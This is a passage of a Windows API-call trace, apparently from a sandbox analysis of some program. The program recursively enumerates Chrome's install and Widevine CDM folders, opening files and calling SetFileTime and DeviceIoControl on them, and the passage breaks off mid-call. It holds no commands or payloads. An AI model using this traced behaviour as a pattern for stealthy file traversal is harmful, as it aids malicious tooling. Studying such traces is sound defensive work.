ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.872] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3db415, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0087.872] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="")) returned 1 [0087.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0087.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0087.873] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0087.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.873] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0087.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.873] NtClose (Handle=0x15c) returned 0x0 [0087.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0087.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0087.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c478 [0087.875] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0087.875] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.875] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0087.875] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 0 [0087.875] GetLastError () returned 0x12 [0087.875] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0087.875] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.875] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 1 [0087.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c580 [0087.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c688 [0087.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.876] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm\\_platform_specific\\win_x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0087.876] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0087.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.877] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0087.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.877] NtClose (Handle=0x15c) returned 0x0 [0087.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c688) returned 1 [0087.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c688 [0087.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c790 [0087.878] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f40 [0087.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.880] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff57cc70, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x440df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="")) returned 1 [0087.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.882] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9c6b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9c6b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff588fc5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll.sig", cAlternateFileName="")) returned 1 [0087.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c898 [0087.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc968 [0087.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c9a0 [0087.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.884] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77b158ce, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="")) returned 1 [0087.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.884] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.885] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77c6cdf8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="")) returned 1 [0087.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0xa04ba8 [0087.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c898) returned 1 [0087.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc988 [0087.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x180) returned 0x9d5470 [0087.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.887] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77c6cdf8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="")) returned 0 [0087.887] GetLastError () returned 0x12 [0087.887] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\_platform_specific\\win_x64\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0087.887] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff57cc70, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x440df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll", cAlternateFileName="")) returned 1 [0087.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9c6b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9c6b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff588fc5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x665, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdm.dll.sig", cAlternateFileName="")) returned 1 [0087.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77b158ce, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x43b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll", cAlternateFileName="")) returned 1 [0087.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77c6cdf8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="")) returned 1 [0087.888] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x77c6cdf8, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x57f, dwReserved0=0x0, dwReserved1=0x0, cFileName="widevinecdmadapter.dll.sig", cAlternateFileName="")) returned 0 [0087.888] GetLastError () returned 0x12 [0087.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c790) returned 1 [0087.888] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0087.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04ba8) returned 1 [0087.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c688) returned 1 [0087.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="win_x64", cAlternateFileName="")) returned 0 [0087.889] GetLastError () returned 0x12 [0087.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c478) returned 1 [0087.890] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c580) returned 1 [0087.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0087.890] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="")) returned 0 [0087.890] GetLastError () returned 0x12 [0087.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307f60) returned 1 [0087.890] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307e58) returned 1 [0087.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.891] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="")) returned 0 [0087.891] GetLastError () returned 0x12 [0087.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1306fe8) returned 1 [0087.891] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13070f0) returned 1 [0087.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1306ee0) returned 1 [0087.892] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0087.892] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="")) returned 1 [0087.892] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="")) returned 1 [0087.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.892] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 